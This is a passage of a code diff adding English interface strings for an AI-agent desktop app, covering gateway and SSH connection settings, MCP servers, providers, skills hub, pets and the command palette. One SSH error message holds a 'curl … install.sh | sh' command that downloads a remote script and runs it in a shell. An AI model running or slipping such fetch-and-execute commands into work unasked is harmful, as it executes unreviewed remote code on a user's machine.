+        roamTitle: 'Roam',
+        roamDesc: 'Let the pet wander the window on its own while idle.',
+        chooseTitle: 'Choose a pet',
+        chooseDesc: 'Picking one installs it (if needed) and makes it active.',
+        searchPlaceholder: 'Search pets…',
+        unreachable: "Couldn't reach the petdex gallery. Check your connection and reopen this page.",
+        noMatch: query => `No pets match "${query}".`,
+        installedTag: 'installed',
+        generatedTag: 'Generated',
+        countCapped: (cap, total) => `Showing ${cap} of ${total} — type to narrow it down.`,
+        count: n => `${n} pet${n === 1 ? '' : 's'}.`,
+        uninstall: name => `Uninstall ${name}`,
+        delete: name => `Delete ${name}`,
+        deleteTitle: name => `Delete ${name}?`,
+        deleteBody: "This permanently deletes the pet — it can't be reinstalled.",
+        deleteConfirm: 'Delete',
+        rename: name => `Rename ${name}`,
+        renameTitle: 'Rename pet',
+        renamePlaceholder: 'Name your pet',
+        renameSave: 'Save',
+        exportPet: name => `Export ${name}`,
+        adoptFailed: slug => `Could not adopt ${slug}`,
+        uninstallFailed: slug => `Could not uninstall ${slug}`,
+        renameFailed: slug => `Could not rename ${slug}`,
+        exportFailed: slug => `Could not export ${slug}`,
+        noneAvailable: 'No pets available to turn on right now.',
+        turnOnFailed: 'Could not turn the pet on.',
+        turnOffFailed: 'Could not turn the pet off.'
+      }
+    },
+    fieldLabels: FIELD_LABELS,
+    fieldDescriptions: FIELD_DESCRIPTIONS,
+    about: {
+      heading: 'ClawCodex Desktop',
+      version: value => `Version ${value}`,
+      versionUnavailable: 'Version unavailable',
+      updates: 'Updates',
+      checkNow: 'Check now',
+      checking: 'Checking…',
+      seeWhatsNew: "See what's new",
+      updateNow: 'Update now',
+      releaseNotes: 'Release notes',
+      onLatest: "You're on the latest version.",
+      installing: 'An update is currently installing.',
+      cantUpdate: "This build can't update itself from inside the app.",
+      cantReach: "We couldn't reach the update server.",
+      tapCheck: 'Tap "Check now" to look for updates.',
+      updateReady: count => `A new update is ready (${count} change${count === 1 ? '' : 's'} included).`,
+      lastChecked: age => `Last checked ${age}`,
+      justNowSuffix: ' · just now',
+      automaticUpdates: 'Automatic updates',
+      automaticUpdatesDesc:
+        'ClawCodex checks for updates automatically in the background and lets you know when one is ready.',
+      branchCommit: (branch, commit) => `Branch ${branch} · Commit ${commit}`,
+      never: 'never',
+      justNow: 'just now',
+      minAgo: count => `${count} min ago`,
+      hoursAgo: count => `${count} hours ago`,
+      daysAgo: count => `${count} days ago`
+    },
+    config: {
+      none: 'None',
+      noneParen: '(none)',
+      builtinOnly: 'Built-in only',
+      notSet: 'Not set',
+      commaSeparated: 'comma-separated values',
+      searchPlaceholder: 'Search…',
+      noResults: 'No results found',
+      systemDefault: 'System default',
+      loading: 'Loading ClawCodex configuration...',
+      emptyTitle: 'Nothing to configure',
+      emptyDesc: 'This section has no adjustable settings.',
+      failedLoad: 'Settings failed to load',
+      autosaveFailed: 'Autosave failed',
+      imported: 'Config imported',
+      invalidJson: 'Invalid config JSON',
+      keepAwakeTitle: 'Keep computer awake',
+      keepAwakeDesc: 'Stop this machine from sleeping so long or overnight runs keep going. The display can still dim.',
+      attachmentSizeTitle: 'Max preview / image load size',
+      attachmentSizeDesc:
+        'How big a local file Desktop will load for previews and image attach, in MB. Default is 16. Remote non-image attach uses a separate 256 MB cap. Setting this very high loads the whole file into memory and can freeze or crash the app.',
+      attachmentSizeUnit: 'MB',
+      attachmentSizeLabel: 'Max preview / image load size in megabytes'
+    },
+    quickEntry: {
+      enabledTitle: 'Quick Entry',
+      enabledDesc:
+        'Summon a small composer from anywhere with a global shortcut and fire a prompt without opening ClawCodex.',
+      shortcutTitle: 'Quick Entry shortcut',
+      shortcutDesc: 'Needs at least one modifier, e.g. CommandOrControl+Shift+Space.',
+      active: 'Shortcut is active.',
+      takenBy: 'Another app already uses this shortcut — pick a different one.',
+      invalidShortcut: 'Not a valid shortcut. Include at least one modifier key.'
+    },
+    credentials: {
+      pasteKey: 'Paste key',
+      pasteLabelKey: label => `Paste ${label} key`,
+      optional: 'Optional',
+      enterValueFirst: 'Enter a value first.',
+      couldNotSave: 'Could not save credential.',
+      remove: 'Remove',
+      getKey: 'Get a key',
+      saving: 'Saving'
+    },
+    envActions: {
+      actions: 'Actions',
+      manageInKeys: 'Manage in API Keys',
+      docs: 'Docs',
+      hideValue: 'Hide value',
+      revealValue: 'Reveal value',
+      replace: 'Replace',
+      set: 'Set',
+      clear: 'Clear'
+    },
+    gateway: {
+      loading: 'Loading gateway settings...',
+      unavailableTitle: 'Gateway settings unavailable',
+      unavailableDesc: 'The desktop IPC bridge does not expose gateway settings.',
+      title: 'Gateway Connection',
+      envOverride: 'env override',
+      intro:
+        'Local by default. Use remote when this app should drive a ClawCodex backend elsewhere. Per-profile overrides below.',
+      appliesTo: 'Applies to',
+      allProfiles: 'All profiles',
+      defaultConnection: 'Default connection for every profile that has no override of its own.',
+      profileConnection: profile =>
+        `Connection used only when “${profile}” is the active profile. Choose Use default gateway to remove its override.`,
+      envOverrideTitle: 'Environment variables are controlling this desktop session.',
+      envOverrideDesc:
+        'Unset CLAWCODEX_DESKTOP_REMOTE_URL and CLAWCODEX_DESKTOP_REMOTE_TOKEN to use the saved setting below.',
+      modeTitle: 'Connection mode',
+      localTitle: 'Local gateway',
+      localDesc: 'Start a private ClawCodex backend on localhost. This is the default and works offline.',
+      inheritTitle: 'Use default gateway',
+      inheritDesc: "Remove this profile's override and use the default connection.",
+      remoteTitle: 'Remote gateway',
+      remoteDesc: 'Connect this desktop shell to a remote ClawCodex backend.',
+      remoteAuthHint: 'Hosted gateways use OAuth or a username and password; self-hosted ones may use a session token.',
+      cloudTitle: 'ClawCodex Cloud',
+      cloudDesc: 'Sign in once to ClawCodex Cloud and pick from the agents on your account — no URL to paste.',
+      cloudSignInTitle: 'ClawCodex Cloud',
+      cloudSignIn: 'Sign in to ClawCodex Cloud',
+      cloudSignedIn: 'Signed in to ClawCodex Cloud',
+      cloudNeedsSignIn: 'Sign in to ClawCodex Cloud to discover the agents on your account.',
+      cloudSignedInDesc: 'You are signed in. Pick an agent below; the session refreshes automatically.',
+      cloudAgentsTitle: 'Your agents',
+      cloudOrgPickerTitle: 'Choose an organization',
+      cloudOrgSelect: 'Select',
+      cloudOrgChange: 'Change org',
+      cloudOrgRole: role => `Role: ${role}`,
+      cloudLoadingAgents: 'Loading your agents…',
+      cloudNoAgents: {
+        before: 'No agents found on this account. Create one in the ',
+        linkText: 'Nous portal',
+        after: ', then refresh.'
+      },
+      cloudRefresh: 'Refresh',
+      cloudConnect: 'Connect',
+      cloudConnecting: 'Connecting…',
+      cloudDiscoverFailed: 'Could not load your ClawCodex Cloud agents',
+      cloudConnectFailed: 'Could not connect to that agent',
+      cloudSignInFailed: 'ClawCodex Cloud sign-in failed',
+      cloudSignedOutTitle: 'Signed out of ClawCodex Cloud',
+      cloudSignedOutMessage: 'Cleared the ClawCodex Cloud session.',
+      cloudConnectedTitle: 'Connected',
+      cloudConnectedPill: 'Connected',
+      cloudConnectedTo: name => `Connected to ${name}.`,
+      cloudAgentProvisioning: 'Provisioning…',
+      cloudStatusLabel: status => `Status: ${status}`,
+      remoteUrlTitle: 'Remote URL',
+      remoteUrlDesc: 'Base URL for the remote dashboard backend. Path prefixes are supported, for example /clawcodex.',
+      probing: 'Checking how this gateway authenticates…',
+      probeError: 'Could not reach this gateway yet. Check the URL — the auth method will appear once it responds.',
+      signedIn: 'Signed in',
+      signIn: 'Sign in',
+      signOut: 'Sign out',
+      signInWith: provider => `Sign in with ${provider}`,
+      authTitle: 'Authentication',
+      authSignedInPassword:
+        'This gateway uses a username and password. You are signed in; the session refreshes automatically.',
+      authSignedInOauth: 'This gateway uses OAuth. You are signed in; the session refreshes automatically.',
+      authNeedsPassword: 'This gateway uses a username and password. Sign in to authorize this desktop app.',
+      authNeedsOauth: provider => `This gateway uses OAuth. Sign in with ${provider} to authorize this desktop app.`,
+      tokenTitle: 'Session token',
+      tokenDesc: 'The dashboard session token used for REST and WebSocket access. Leave blank to keep the saved token.',
+      existingToken: value => `Existing token ${value}`,
+      savedToken: 'saved',
+      pasteSessionToken: 'Paste session token',
+      testRemote: 'Test remote',
+      saveForRestart: 'Save for next restart',
+      saveAndReconnect: 'Save and reconnect',
+      diagnostics: 'Diagnostics',
+      diagnosticsDesc: 'Reveal desktop.log in your file manager — useful when the gateway fails to start.',
+      openLogs: 'Open logs',
+      incompleteTitle: 'Remote gateway incomplete',
+      incompleteSignIn: 'Enter a remote URL and sign in before switching to remote.',
+      incompleteToken: 'Enter a remote URL and session token before switching to remote.',
+      incompleteSignInTest: 'Enter a remote URL and sign in before testing.',
+      incompleteTokenTest: 'Enter a remote URL and session token before testing.',
+      enterUrlFirst: 'Enter a remote URL first.',
+      restartingTitle: 'Gateway connection restarting',
+      savedTitle: 'Gateway settings saved',
+      restartingMessage: 'ClawCodex Desktop will reconnect using the saved settings — the shell stays open.',
+      savedMessage: 'Saved for the next restart.',
+      connectedTo: (baseUrl, version) => `Connected to ${baseUrl}${version ? ` · ClawCodex ${version}` : ''}`,
+      reachableTitle: 'Remote gateway reachable',
+      signedOutTitle: 'Signed out',
+      signedOutMessage: 'Cleared the remote gateway session.',
+      failedLoad: 'Gateway settings failed to load',
+      signInFailed: 'Sign-in failed',
+      signOutFailed: 'Sign-out failed',
+      testFailed: 'Remote gateway test failed',
+      applyFailed: 'Could not apply gateway settings',
+      saveFailed: 'Could not save gateway settings',
+      sshTitle: 'Connect via SSH',
+      sshDesc:
+        'ClawCodex is launched on the remote over SSH and tunneled to this app — nothing to start or expose yourself. Requires working key-based SSH access to the host.',
+      sshTrustHint: 'The first presented host key is trusted and pinned; later changes fail closed.',
+      sshHostTitle: 'Host',
+      sshHostDesc: 'user@host, or a Host alias from ~/.ssh/config.',
+      sshHostPick: 'Select a host…',
+      sshHostPickTitle: 'Host',
+      sshHostPickDesc: 'A Host alias from ~/.ssh/config, or Custom to type one.',
+      sshHostCustom: 'Custom (enter manually)…',
+      sshUserTitle: 'User',
+      sshUserDesc: 'Blank = ~/.ssh/config or your current user.',
+      sshUserPlaceholder: 'from ~/.ssh/config',
+      sshPortTitle: 'Port',
+      sshPortDesc: 'Blank = 22 or the ~/.ssh/config port.',
+      sshKeyTitle: 'Identity file',
+      sshKeyDesc: 'Private key path. Blank = ssh-agent or ~/.ssh/config.',
+      sshClawCodexPathTitle: 'ClawCodex path (optional)',
+      sshClawCodexPathDesc: 'Full path to the remote clawcodex binary. Blank = auto-detect.',
+      sshClawCodexPathPlaceholder: 'auto-detect',
+      sshRemoteProfileTitle: 'Remote profile (optional)',
+      sshRemoteProfileDesc: 'Profile name on the remote host. Blank = use the Desktop profile name.',
+      sshTestConnection: 'Test SSH',
+      sshConnect: 'Connect',
+      sshButtonsHint: 'Save applies on the next launch. Connect reconnects now.',
+      sshReachable: (host, platform) => `Reachable: ${host} (${platform}) — ClawCodex found`,
+      sshIncompleteHost: 'Enter an SSH host before connecting.',
+      sshErrUnreachable: 'Could not reach that host over SSH. Check the host, port, and your network.',
+      sshErrAuth:
+        'SSH authentication failed. Load your key into the ssh-agent (ssh-add) or set an IdentityFile in ~/.ssh/config — ClawCodex runs ssh non-interactively.',
+      sshErrHostKey:
+        'The host key has CHANGED since you last connected. Verify this is expected, then run ssh-keygen -R <host> and reconnect.',
+      sshErrNotInstalled:
+        'ClawCodex is not installed on the remote host. Install it there (curl -fsSL https://github.com/agentforce314/clawcodex/install.sh | sh) or set the ClawCodex path.',
+      sshErrPlatform:
+        'Unsupported remote platform. ClawCodex Desktop SSH mode supports Linux, macOS, and Windows remote hosts.',
+      sshErrTimeout: 'SSH connection timed out. The host may be unreachable or asleep.',
+      sshErrUpdateRequired: 'Update ClawCodex on the remote host before connecting with Desktop SSH.',
+      sshErrUnknown: 'SSH connection failed.'
+    },
+    keys: {
+      loading: 'Loading API keys and credentials...',
+      failedLoad: 'API keys failed to load',
+      empty: 'Nothing configured in this category yet.'
+    },
+    mcp: {
+      loading: 'Loading MCP servers...',
+      failedLoad: 'MCP config failed to load',
+      nameRequiredTitle: 'Name required',
+      nameRequiredMessage: 'Give this MCP server a config key.',
+      objectRequired: 'Server config must be a JSON object',
+      invalidJson: 'Invalid MCP JSON',
+      saveFailed: 'Save failed',
+      removeFailed: 'Remove failed',
+      gatewayUnavailableTitle: 'Gateway unavailable',
+      gatewayUnavailableMessage: 'Reconnect the gateway before reloading MCP.',
+      reloadedTitle: 'MCP tools reloaded',
+      reloadedMessage: 'New tool schemas apply to fresh turns.',
+      reloadFailed: 'MCP reload failed',
+      savedTitle: 'MCP server saved',
+      savedMessage: name => `${name} applies after MCP reload.`,
+      newServer: 'New server',
+      reload: 'Reload MCP',
+      reloading: 'Reloading...',
+      emptyTitle: 'No MCP servers',
+      emptyDesc: 'Add a stdio or HTTP server to expose MCP tools.',
+      disabled: 'disabled',
+      editServer: 'Edit server',
+      name: 'Name',
+      serverJson: 'Server JSON',
+      remove: 'Remove',
+      saveServer: 'Save server',
+      test: 'Test connection',
+      testing: 'Testing...',
+      testOk: count => `Connected — ${count} tool${count === 1 ? '' : 's'} available`,
+      testFailed: 'Connection failed',
+      enableServer: name => `Enable ${name}`,
+      disableServer: name => `Disable ${name}`,
+      serverEnabled: name => `${name} enabled — applies to new sessions.`,
+      serverDisabled: name => `${name} disabled — applies to new sessions.`,
+      toggleFailed: (name, enabled) => `Failed to turn ${name} ${enabled ? 'on' : 'off'}`,
+      tabServers: 'Servers',
+      tabCatalog: 'Catalog',
+      catalogLoading: 'Loading MCP catalog...',
+      catalogLoadFailed: 'MCP catalog failed to load',
+      catalogEmpty: 'No catalog entries available.',
+      catalogInstalled: 'Installed',
+      catalogEnabled: 'Enabled',
+      catalogNeedsInstall: 'Needs build',
+      catalogInstall: 'Install',
+      catalogInstalling: 'Installing...',
+      catalogInstallStarted: name => `Installing ${name}... applies to new sessions when done.`,
+      catalogInstallFailed: name => `Failed to install ${name}`,
+      catalogEnvPrompt: name => `${name} requires credentials`,
+      catalogEnvRequired: 'Fill in the required values before installing.',
+      capabilitySummary: (tools, prompts, resources) =>
+        `${[`${tools} tools`, ...(prompts ? [`${prompts} prompts`] : []), ...(resources ? [`${resources} resources`] : [])].join(', ')} enabled`,
+      statusConnecting: 'Connecting…',
+      statusNeedsAuth: 'Needs authentication',
+      statusError: 'Error',
+      statusOff: 'Off',
+      allServers: 'All servers',
+      authenticatedTitle: 'Authenticated',
+      authenticatedMessage: (server, count) => `${server}: ${count} tools`,
+      waitingForBrowser: 'Waiting for browser…',
+      authenticate: 'Authenticate',
+      unsavedConnect: 'Unsaved — save mcp.json to connect.',
+      enableTool: tool => `Enable ${tool}`,
+      disableTool: tool => `Disable ${tool}`,
+      noOutput: 'No output yet.'
+    },
+    model: {
+      loading: 'Loading model configuration...',
+      appliesDesc: 'Applies to new sessions. Use the model picker in the composer to hot-swap the active chat.',
+      provider: 'Provider',
+      model: 'Model',
+      applying: 'Applying...',
+      defaultsLabel: 'Defaults',
+      reasoning: 'Reasoning',
+      reasoningOff: 'Off',
+      defaultsFailed: 'Failed to save model defaults',
+      auxiliaryTitle: 'Auxiliary models',
+      resetAllToMain: 'Reset all to main',
+      auxiliaryDesc: 'Helper tasks run on the main model by default. Assign a dedicated model to any task to override.',
+      setToMain: 'Set to main',
+      change: 'Change',
+      autoUseMain: 'auto · use main model',
+      providerDefault: '(provider default)',
+      fallbackAdd: 'Add fallback',
+      fallbackEmpty: 'No fallback models — the default model is used unless it fails.',
+      notInCatalog: "isn't in this provider's model list — calls may fall back to a backup.",
+      tasks: {
+        vision: { label: 'Vision', hint: 'Image analysis' },
+        web_extract: { label: 'Web extract', hint: 'Page summarization' },
+        compression: { label: 'Compression', hint: 'Context compaction' },
+        skills_hub: { label: 'Skills hub', hint: 'Skill search' },
+        approval: { label: 'Approval', hint: 'Smart auto-approve' },
+        mcp: { label: 'MCP', hint: 'MCP tool routing' },
+        title_generation: { label: 'Title gen', hint: 'Session titles' },
+        curator: { label: 'Curator', hint: 'Skill-usage review' }
+      }
+    },
+    providers: {
+      connectAccount: 'Connect an account',
+      haveApiKey: 'Have an API key instead?',
+      intro:
+        'Sign in with a subscription — no API key to copy. ClawCodex runs the browser sign-in for you, right here in the app.',
+      connected: 'Connected',
+      collapse: 'Collapse',
+      connectAnother: 'Connect another provider',
+      otherProviders: 'Other providers',
+      disconnect: 'Disconnect',
+      disconnectInTerminal: 'Disconnect (runs the removal command in the terminal)',
+      removeConfirm: provider => `Remove ${provider}?`,
+      removeExternalGeneric: provider => `${provider} is managed by its own CLI — remove it there.`,
+      removeKeyManaged: provider => `${provider} is configured from an API key. Remove it from API Keys.`,
+      removeTerminalConfirm: (provider, command) =>
+        `Disconnect ${provider}? This runs "${command}" in the terminal to clear the credential.`,
+      removeTerminalRunning: provider => `Running ${provider} disconnect in the terminal…`,
+      removedTitle: 'Account removed',
+      removedMessage: provider => `${provider} was removed.`,
+      failedRemove: provider => `Could not remove ${provider}`,
+      noProviderKeys: 'No provider API keys available.',
+      searchKeys: 'Search providers…',
+      noKeysMatch: 'No providers match your search.',
+      localEndpoint: {
+        title: 'Local / custom endpoint',
+        description: 'Point ClawCodex at any OpenAI-compatible endpoint (Zyphra, vLLM, llama.cpp, Ollama, etc).'
+      },
+      loading: 'Loading providers...'
+    },
+    sessions: {
+      loading: 'Loading archived sessions…',
+      archivedTitle: 'Archived sessions',
+      archivedIntro:
+        'Archived chats are hidden from the sidebar but keep all their messages. Ctrl/⌘-click a chat in the sidebar to archive it.',
+      emptyArchivedTitle: 'Nothing archived',
+      emptyArchivedDesc: 'Archive a chat to hide it here.',
+      unarchive: 'Unarchive',
+      deletePermanently: 'Delete permanently',
+      messages: count => `${count} ${count === 1 ? 'message' : 'messages'}`,
+      restored: 'Restored',
+      deleteConfirm: title => `Permanently delete "${title}"? This cannot be undone.`,
+      autoArchiveTitle: 'Auto-archive stale chats',
+      autoArchiveDesc:
+        "Automatically archive chats you haven't touched in a while. Pinned chats are never archived, and nothing is deleted — archived chats just move here.",
+      autoArchiveDaysLabel: 'Archive after',
+      autoArchiveDaysUnit: 'days of inactivity',
+      autoArchiveFailed: 'Could not update auto-archive',
+      defaultDirTitle: 'Default project directory',
+      defaultDirDesc:
+        'New sessions start in this folder unless you pick another. Leave it unset to use your home directory.',
+      defaultDirUpdated: 'Default project directory updated — start a new chat (Ctrl/⌘+N) for it to take effect',
+      defaultsTo: label => `Defaults to ${label}.`,
+      change: 'Change',
+      choose: 'Choose',
+      clear: 'Clear',
+      notSet: 'Not set',
+      failedLoad: 'Could not load archived sessions',
+      unarchiveFailed: 'Unarchive failed',
+      deleteFailed: 'Delete failed',
+      updateDirFailed: 'Could not update default directory',
+      clearDirFailed: 'Could not clear default directory'
+    },
+    toolsets: {
+      loadingConfig: 'Loading configuration',
+      savedTitle: 'Credential saved',
+      savedMessage: key => `${key} updated.`,
+      removedTitle: 'Credential removed',
+      removedMessage: key => `${key} removed.`,
+      failedSave: key => `Failed to save ${key}`,
+      failedRemove: key => `Failed to remove ${key}`,
+      failedReveal: key => `Failed to reveal ${key}`,
+      removeConfirm: key => `Remove ${key} from .env?`,
+      set: 'Set',
+      notSet: 'Not set',
+      selectedTitle: 'Provider selected',
+      selectedMessage: provider => `${provider} is now active.`,
+      failedSelect: provider => `Failed to select ${provider}`,
+      failedLoad: 'Tool configuration failed to load',
+      noProviderOptions: 'This toolset has no provider options — enable it and it works with your current setup.',
+      noProviders: 'No providers are available for this toolset right now.',
+      ready: 'Ready',
+      needsSignIn: 'Needs sign-in',
+      needsSetup: 'Setup required',
+      activeBackend: 'Active',
+      activeBackendHint: 'This is your active backend',
+      useBackend: 'Use this backend',
+      nousIncluded: 'Included with a Nous subscription — sign in to Nous Portal to activate.',
+      nousAuthNeededTitle: 'Sign in to Nous Portal',
+      nousAuthNeededMessage: provider => `${provider} is saved but won't activate until you sign in to Nous Portal.`,
+      nousAuthSignIn: 'Sign in',
+      nousAuthDoneTitle: 'Nous Portal connected',
+      nousAuthDoneMessage: 'Your subscription backends are now active.',
+      nousAuthFailed: 'Nous Portal sign-in did not complete',
+      noApiKeyRequired: 'No API key required.',
+      postSetupHint: step =>
+        `This backend needs a one-time install (${step}). Runs on this machine — may take a few minutes.`,
+      postSetupInstalledHint: 'Installed. Re-run setup only if something is broken.',
+      postSetupRun: 'Run setup',
+      postSetupRerun: 'Re-run setup',
+      postSetupInstalled: 'Installed',
+      postSetupRunning: 'Installing…',
+      postSetupStarting: 'Starting…',
+      postSetupCompleteTitle: 'Setup complete',
+      postSetupCompleteMessage: step => `${step} installed.`,
+      postSetupErrorTitle: 'Setup finished with errors',
+      postSetupErrorMessage: step => `Check the ${step} log.`,
+      postSetupFailed: step => `Failed to run ${step} setup`,
+      webSearchActive: backend => `Search: ${backend}`,
+      webExtractActive: backend => `Extract: ${backend}`,
+      webCapabilityUnset: 'not set',
+      webUseForSearch: 'Use for Search',
+      webUseForExtract: 'Use for Extract',
+      webUsedForSearch: 'Search backend',
+      webUsedForExtract: 'Extract backend',
+      webCapabilitySelectedMessage: (provider, capability) => `${provider} now handles web ${capability}.`,
+      failedSelectCapability: provider => `Failed to set ${provider}`,
+      loadingModels: 'Loading model catalog...',
+      modelSectionTitle: 'Model',
+      modelCount: count => `${count} model${count === 1 ? '' : 's'}`,
+      modelInUse: 'In use',
+      modelDefault: 'default',
+      modelInactiveHint: 'Select this backend first to change its model.',
+      modelSelectedTitle: 'Model selected',
+      modelSelectedMessage: model => `${model} applies to new sessions.`,
+      failedSelectModel: model => `Failed to select ${model}`,
+      terminalBackend: {
+        sectionTitle: 'Execution backend',
+        loading: 'Checking execution backends…',
+        failedLoad: 'Could not load terminal backends',
+        ready: 'Ready',
+        needsSetup: 'Needs setup',
+        unavailable: 'Unavailable',
+        inUse: 'In use',
+        selectedTitle: 'Backend selected',
+        selectedMessage: backend => `Terminal commands now run via ${backend}. Applies to new sessions.`,
+        failedSelect: backend => `Failed to select ${backend}`,
+        needsSetupHint: 'You can select this backend now — commands will fail until setup is complete.'
+      }
+    }
+  },
+
+  skills: {
+    tabSkills: 'Skills',
+    tabToolsets: 'Tools',
+    tabMcp: 'MCP',
+    tabHub: 'Browse Hub',
+    all: 'All',
+    searchSkills: 'Search skills...',
+    searchToolsets: 'Search tools...',
+    refresh: 'Refresh skills',
+    refreshing: 'Refreshing skills',
+    loading: 'Loading capabilities...',
+    noSkillsTitle: 'No skills found',
+    noSkillsDesc: 'Try a broader search or different category.',
+    noToolsetsTitle: 'No toolsets found',
+    noToolsetsDesc: 'Try a broader search query.',
+    noDescription: 'No description.',
+    configured: 'Configured',
+    needsKeys: 'Needs keys',
+    visionModelHint:
+      'Vision uses your auxiliary model configuration — the image-capable model is picked there, not per-provider here.',
+    visionModelLink: 'Choose vision model in Settings → Models',
+    toolsetsEnabled: (enabled, total) => `${enabled}/${total} toolsets enabled`,
+    configureToolset: label => `Configure ${label}`,
+    toggleToolset: (label, enabled) => `Turn ${label} toolset ${enabled ? 'on' : 'off'}`,
+    skillsLoadFailed: 'Skills failed to load',
+    toolsetsRefreshFailed: 'Toolsets failed to refresh',
+    skillEnabled: 'Skill enabled',
+    skillDisabled: 'Skill disabled',
+    toolsetEnabled: 'Toolset enabled',
+    toolsetDisabled: 'Toolset disabled',
+    appliesToNewSessions: name => `${name} applies to new sessions.`,
+    failedToUpdate: name => `Failed to update ${name}`,
+    sortMostUsed: 'Most used',
+    sortAlpha: 'A–Z',
+    sortMostUsedDesc: '↓ Most used',
+    sortLeastUsedAsc: '↑ Least used',
+    enableAll: 'Enable all',
+    disableAll: 'Disable all',
+    disableUnused: 'Disable unused',
+    bulkUpdated: count => `Updated ${count} ${count === 1 ? 'item' : 'items'} for new sessions.`,
+    bulkNoChange: 'Nothing to change.',
+    usageCount: count => `used ${count}×`,
+    provenance: {
+      agent: 'Learned',
+      bundled: 'Built-in',
+      hub: 'Hub'
+    },
+    emptyNoneFound: noun => `No ${noun} found`,
+    emptyNothingMatches: query => `Nothing matches “${query}”.`,
+    emptyNoneAvailable: noun => `No ${noun} available yet.`,
+    changesApplyNewSessions: 'Changes apply to new sessions.',
+    skillUpdated: 'Skill updated',
+    edit: 'Edit',
+    archive: 'Archive',
+    skillArchivedTitle: 'Skill archived',
+    skillArchivedMessage: 'Restorable via clawcodex curator restore.',
+    hub: {
+      searchPlaceholder: 'Search the skill hub',
+      search: 'Search',
+      searching: 'Searching...',
+      connectingHubs: 'Connecting to skill hubs...',
+      connectedHubs: 'Connected hubs:',
+      featured: 'Featured skills',
+      landingHint:
+        'Search the hub to browse installable skills from the official index, GitHub, and community sources.',
+      noResults: 'No matching skills found in the hub.',
+      resultCount: (count, ms) => `${count} result${count === 1 ? '' : 's'}${ms !== null ? ` in ${ms}ms` : ''}`,
+      timedOut: sources => `Timed out: ${sources}`,
+      installed: 'Installed',
+      install: 'Install',
+      installing: 'Installing...',
+      uninstall: 'Uninstall',
+      uninstalling: 'Uninstalling...',
+      updateAll: 'Update installed',
+      updating: 'Updating...',
+      preview: 'Preview',
+      scan: 'Scan',
+      scanning: 'Scanning...',
+      close: 'Close',
+      files: 'Files',
+      noReadme: 'This skill has no SKILL.md preview.',
+      trust: {
+        builtin: 'builtin',
+        trusted: 'trusted',
+        community: 'community'
+      },
+      verdictSafe: 'Safe',
+      verdictCaution: 'Caution',
+      verdictDangerous: 'Dangerous',
+      policyAllow: 'Install allowed',
+      policyAsk: 'Review before installing',
+      policyBlock: 'Install blocked by policy',
+      findings: count => `${count} finding${count === 1 ? '' : 's'}`,
+      noFindings: 'No security findings.',
+      installStarted: name => `Installing ${name}...`,
+      uninstallStarted: name => `Uninstalling ${name}...`,
+      updateStarted: 'Updating installed skills...',
+      actionFailed: 'Skill action failed',
+      actionLog: 'Action log',
+      loadFailed: 'Skill hub failed to load',
+      previewFailed: 'Skill preview failed',
+      scanFailed: 'Security scan failed',
+      searchFailed: 'Hub search failed'
+    }
+  },
+
+  starmap: {
+    title: 'Memory Graph',
+    subtitle: (nodes, clusters) => `${nodes} skills across ${clusters} categories`,
+    close: 'Close memory graph',
+    refresh: 'Refresh',
+    memory: 'Memory',
+    filterAll: 'All',
+    filterUsed: 'Used',
+    filterLearned: 'Learned',
+    viewGraph: 'Graph',
+    loadFailed: 'Could not load memory graph',
+    loading: 'Loading…',
+    emptyTitle: 'Nothing learned yet',
+    emptyDesc: 'As ClawCodex builds skills and memories for your work, they appear here.',
+    share: 'Share map',
+    shareHint:
+      'Copy the code to share this map, or paste one to load. It only includes the layout, not your memory or skill text.',
+    shareTitle: 'Import / export map',
+    sharePlaceholder: 'Paste a map code…',
+    copy: 'Copy map code',
+    copied: 'Copied!',
+    importMap: 'Import a map',
+    importBtn: 'Load',
+    importEmpty: 'Paste a map code to load it.',
+    importSuccess: nodes => `Loaded a map with ${nodes} ${nodes === 1 ? 'node' : 'nodes'}.`,
+    importedBadge: 'imported map',
+    resetToMine: 'Back to my map'
+  },
+  agents: {
+    close: 'Close agents',
+    title: 'Spawn tree',
+    subtitle: 'Live subagent activity for the current turn.',
+    emptyTitle: 'No live subagents',
+    emptyDesc: 'When a turn delegates work, child agents stream their progress here.',
+    running: 'Running',
+    failed: 'Failed',
+    done: 'Done',
+    streaming: 'Streaming',
+    files: 'Files',
+    moreFiles: count => `+${count} more files`,
+    delegation: index => `Delegation ${index}`,
+    workers: count => `${count} workers`,
+    workersActive: count => `${count} active`,
+    agentsCount: count => `${count} ${count === 1 ? 'agent' : 'agents'}`,
+    activeCount: count => `${count} active`,
+    failedCount: count => `${count} failed`,
+    toolsCount: count => `${count} tools`,
+    filesCount: count => `${count} files`,
+    updatedAgo: age => `updated ${age}`,
+    ageNow: 'now',
+    ageSeconds: seconds => `${seconds}s ago`,
+    ageMinutes: minutes => `${minutes}m ago`,
+    ageHours: hours => `${hours}h ago`,
+    ageDays: days => `${days}d ago`,
+    durationSeconds: seconds => `${seconds}s`,
+    durationMinutes: (minutes, seconds) => `${minutes}m ${seconds}s`,
+    tokens: value => `${value} tok`
+  },
+
+  commandCenter: {
+    close: 'Close command center',
+    paletteTitle: 'Command palette',
+    back: 'Back',
+    searchPlaceholder: 'Search sessions, views, and actions',
+    goTo: 'Go to',
+    goToSession: 'Go to session',
+    branches: 'Branches',
+    projects: 'Projects',
+    openFolder: 'Open folder as project…',
+    openFolderAt: path => `Open folder as project — ${path}`,
+    newSessionInProject: project => `New session in ${project}`,
+    commands: 'Commands',
+    startInBranch: branch => `New conversation in ${branch}`,
+    commandCenter: 'Command Center',
+    appearance: 'Appearance',
+    settings: 'Settings',
+    changeTheme: 'Change theme',
+    changeColorMode: 'Change color mode…',
+    pets: {
+      title: 'Pets',
+      placeholder: 'Search pets…',
+      loading: 'Loading petdex gallery…',
+      error: 'Could not reach the petdex gallery.',
+      staleBackend: 'Restart ClawCodex to use pets — the backend predates this feature.',
+      empty: 'No matching pets.',
+      turnOff: 'Turn off',
+      turnOn: 'Turn on',
+      installed: 'Installed',
+      generatedTag: 'Generated',
+      adoptFailed: 'Could not adopt that pet.',
+      toggleFailed: enabled => `Could not turn the pet ${enabled ? 'on' : 'off'}.`,
+      noneAvailable: 'No pets available — pick one below to install.'
+    },
+    generatePet: {
+      title: 'Generate a pet',
+      placeholder: 'Describe a pet to generate…',
+      promptHint: 'Type a description, then press Enter to draft four looks.',
+      readyHint: 'Press Enter to draft four looks from your description.',
+      generate: 'Generate',
+      generating: 'Generating…',
+      retry: 'Retry',
+      hatch: 'Hatch',
+      spawning: 'Spawning…',
+      hatching: 'Hatching your pet…',
+      hatchingSub: 'Bringing it to life…',
+      hatched: 'It hatched!',
